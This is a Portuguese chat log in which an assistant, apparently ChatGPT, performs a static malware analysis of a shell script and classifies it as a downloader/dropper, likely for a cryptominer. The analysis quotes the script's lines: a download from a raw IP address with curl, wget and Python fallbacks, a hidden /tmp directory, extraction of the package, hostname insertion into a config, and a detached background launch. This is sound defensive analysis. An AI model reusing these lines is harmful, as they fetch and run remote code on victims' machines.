You said:

codigo.sh
Code

Analise o arquivo em anexo passo a passo e determine ao final: este arquivo é benigno ou é um malware?

Worked for 1m 2s

Analyzed

Analyzed

ChatGPT said:

Análise de segurança do arquivo `codigo.sh`

Veredito: PROVAVELMENTE MALICIOSO

Categoria principal: Downloader / Dropper (baixador e instalador de payload)
Confiança: alta quanto ao comportamento de download e execução de código externo.

O arquivo apresenta características típicas de um script utilizado para baixar, instalar e executar um programa externo de maneira discreta. Há também indícios de que o programa baixado possa ser um minerador de criptomoedas, embora isso não possa ser confirmado apenas com o arquivo fornecido.

A análise abaixo é estática: examinei o código sem executar o script nem baixar o conteúdo remoto.

1. Identificação do arquivo

Propriedade	Resultado
Nome	`codigo.sh`
Tipo	Script de shell Unix/Linux
Interpretador	`/bin/sh`
Tamanho	1.268 bytes
SHA-256	`f0e60771fa8158745adda9e8ff6126dccda13809bbefb1ecc97f2d4815f3d0d9`

O hash SHA-256 identifica esta versão específica do arquivo e pode ser utilizado para correlação em ferramentas de análise de segurança.

2. Análise passo a passo

Etapa 1 — Define o endereço do arquivo remoto

O script começa declarando o seguinte endereço:

```
URL=http://23.252.123.134:18095/fleet_lin.tgz
```

Por que isso é suspeito?

O endereço aponta para um IP diretamente, por uma conexão HTTP sem criptografia, em uma porta não padrão para navegação web.

Isso não prova, isoladamente, atividade maliciosa. Entretanto, é relevante porque o script pretende baixar um arquivo executável ou um pacote de instalação desse endereço.

codigo.sh

Etapa 2 — Cria um diretório temporário

```
D=/tmp/.qc$$ 2>/dev/null
mkdir -p "$D" 2>/dev/null
cd "$D" 2>/dev/null || D=/tmp && cd "$D" || exit 1
```

O script utiliza `/tmp`, um diretório comum para arquivos temporários no Linux.

O nome `.qc` começa com ponto, tornando o diretório oculto em listagens convencionais. O sufixo `$$` é substituído pelo identificador do processo do shell.

O redirecionamento de erros para `/dev/null` também reduz as mensagens visíveis ao usuário.

Indicador de risco: armazenamento temporário com nome discreto, combinado com supressão de mensagens. Essas técnicas não são necessariamente maliciosas por si só, mas reforçam a suspeita no contexto geral. codigo.sh

Etapa 3 — Tenta baixar o pacote por diferentes métodos

O arquivo tenta utilizar, em sequência:

```
curl -s -m 240 -o f.tgz "$URL"
wget -q -T 240 -O f.tgz "$URL"
```

Se nenhuma dessas ferramentas estiver disponível ou o download falhar, tenta recorrer ao Python:

```
python3 -c "import urllib.request ..."
python -c "import urllib2 ..."
```

Essa redundância permite que o script funcione em diferentes ambientes Linux, inclusive em máquinas nas quais algumas ferramentas de download não estejam instaladas.

Depois, verifica se o download foi realizado:

```
[ -n "$DL" ] || { echo "NODL ..."; exit 1; }
```

O arquivo baixado recebe o nome `f.tgz`.

Indicador de risco: o script foi projetado para obter um segundo componente pela rede e adaptar seu método de download ao ambiente. Ele não verifica a assinatura digital nem o hash do pacote recebido. codigo.sh

Etapa 4 — Extrai o pacote baixado

```
tar xzf f.tgz 2>/dev/null || {
    echo "NOTAR ..."
    exit 1
}
```

O comando extrai um arquivo compactado no formato tar.gz.

A extração é uma etapa importante porque o conteúdo necessário à execução não está presente diretamente no script analisado: ele viria do pacote remoto.

Isso significa que o comportamento completo do programa final depende de um arquivo externo que não foi fornecido para esta análise.

Etapa 5 — Personaliza a configuração com o nome da máquina

```
H=$(hostname 2>/dev/null | cut -c1-12)
sed -i "s/RIGNAME/$H/" config.json 2>/dev/null
```

O script coleta o nome do computador e substitui a expressão `RIGNAME` dentro de `config.json`.

Essa operação merece atenção especial. A identificação da máquina pode ser usada para nomear um trabalhador (*worker*) ou equipamento em um sistema de mineração de criptomoedas.

Isso constitui **um indício compatível com configuração de minerador**, mas o conteúdo de `config.json` não está disponível para comprovar essa hipótese. codigo.sh

Etapa 6 — Executa o programa extraído em segundo plano

```
if command -v setsid >/dev/null 2>&1; then
  setsid sh run.sh >/dev/null 2>&1 &
else
  sh run.sh >/dev/null 2>&1 &
fi
```

O script inicia `run.sh` em segundo plano, usando `setsid` quando disponível e recorrendo diretamente ao shell quando não está.

As saídas padrão e de erro são descartadas com `>/dev/null 2>&1`.

Isso significa que o programa pode continuar executando sem apresentar seu resultado no terminal. O uso de `setsid` também permite separá-lo da sessão original.

Este é um dos indicadores mais importantes: o script não apenas baixa arquivos, mas inicia automaticamente um programa externo, cujo conteúdo não pode ser inspecionado a partir do material disponível. codigo.sh

Etapa 7 — Verifica se determinados processos estão ativos

```
sleep 10
OK=""
for p in c x; do
  if pgrep -f "$D/$p" >/dev/null 2>&1 ||
     ps aux 2>/dev/null | grep -q "[.]qc.*/$p"; then
    OK="$OK $p"
  fi
done
```

Após esperar dez segundos, o script procura processos associados a `c` e `x`.

Essa verificação parece destinada a identificar se determinados componentes foram iniciados. Os nomes são genéricos, portanto não permitem identificar com certeza quais programas estão envolvidos.

Por fim, imprime uma mensagem de conclusão:

```
echo "LITE_DONE ... dl=$DL dir=$D procs=$OK"
```

Esse comportamento é compatível com um instalador que verifica se o programa baixado continua ativo após a inicialização. codigo.sh

3. Principais indicadores de comprometimento

Indicador observado	Avaliação
Download de IP remoto por HTTP	Alto risco
Métodos alternativos para baixar o payload	Suspeito
Extração automática de pacote externo	Alto risco
Diretório temporário oculto	Suspeito
Execução em segundo plano com saída descartada	Alto risco
Substituição de `RIGNAME` na configuração	Compatível com possível mineração
Verificação de processos após a inicialização	Suspeito

Os indicadores ganham força quando considerados em conjunto. Nenhum deles, isoladamente, prova que um arquivo seja malware.

4. Qual é a categoria principal?

A classificação mais bem sustentada pelo código é:

Downloader / Dropper

O script baixa um pacote externo, extrai seu conteúdo, altera sua configuração e inicia outro programa. Essa é a função observável mais importante.

Hipótese secundária: instalação ou inicialização de um minerador de criptomoedas. A substituição de `RIGNAME` é compatível com essa finalidade, mas não é prova conclusiva.

5. O que ainda não é possível afirmar?

É importante distinguir o que o código demonstra do que ele apenas sugere.

- **Demonstrado:** tentativa de download, extração de arquivo, edição de configuração e inicialização de um script externo.
- **Fortemente suspeito:** entrega e execução de um payload potencialmente malicioso.
- **Não confirmado:** família específica de malware, mineração efetiva de criptomoedas, roubo de dados, comunicação com um servidor de comando e controle ou persistência após reinicialização.

Para confirmar essas últimas hipóteses, seria necessário analisar com segurança o conteúdo de `fleet_lin.tgz`, especialmente `run.sh`, `config.json` e os executáveis `c` e `x`.

6. Classificação final

Veredito: MALWARE PROVÁVEL

Minha conclusão é que `codigo.sh` deve ser tratado como **malicioso até que uma análise adicional demonstre o contrário**. Seu comportamento principal é baixar e executar código externo sem validação de integridade, com execução discreta em segundo plano.

A classificação como downloader/dropper tem alta confiança. A hipótese de que ele distribui ou inicia um minerador de criptomoedas é plausível, mas permanece sem confirmação porque o payload não foi disponibilizado.

Recomendação: não execute o arquivo em uma máquina de uso real. Se ele já foi executado, investigue os processos iniciados e os arquivos criados em `/tmp` antes de remover qualquer vestígio.

Também posso criar ↪ um diagrama do fluxo do malware.

‹/›

You said:

Qual é a categoria principal deste malware?

ChatGPT said:

A categoria principal do malware `codigo.sh` é **Downloader / Dropper**.

Justificativa: o script baixa um pacote de um servidor remoto, extrai seus arquivos e executa um programa em segundo plano, ocultando as mensagens de saída. codigo.sh

Categoria secundária suspeita: minerador de criptomoedas (*Cryptominer*), devido à personalização de `RIGNAME` na configuração. Essa hipótese não pode ser confirmada sem analisar o payload baixado.

Classificação final: Downloader / Dropper — alta confiança.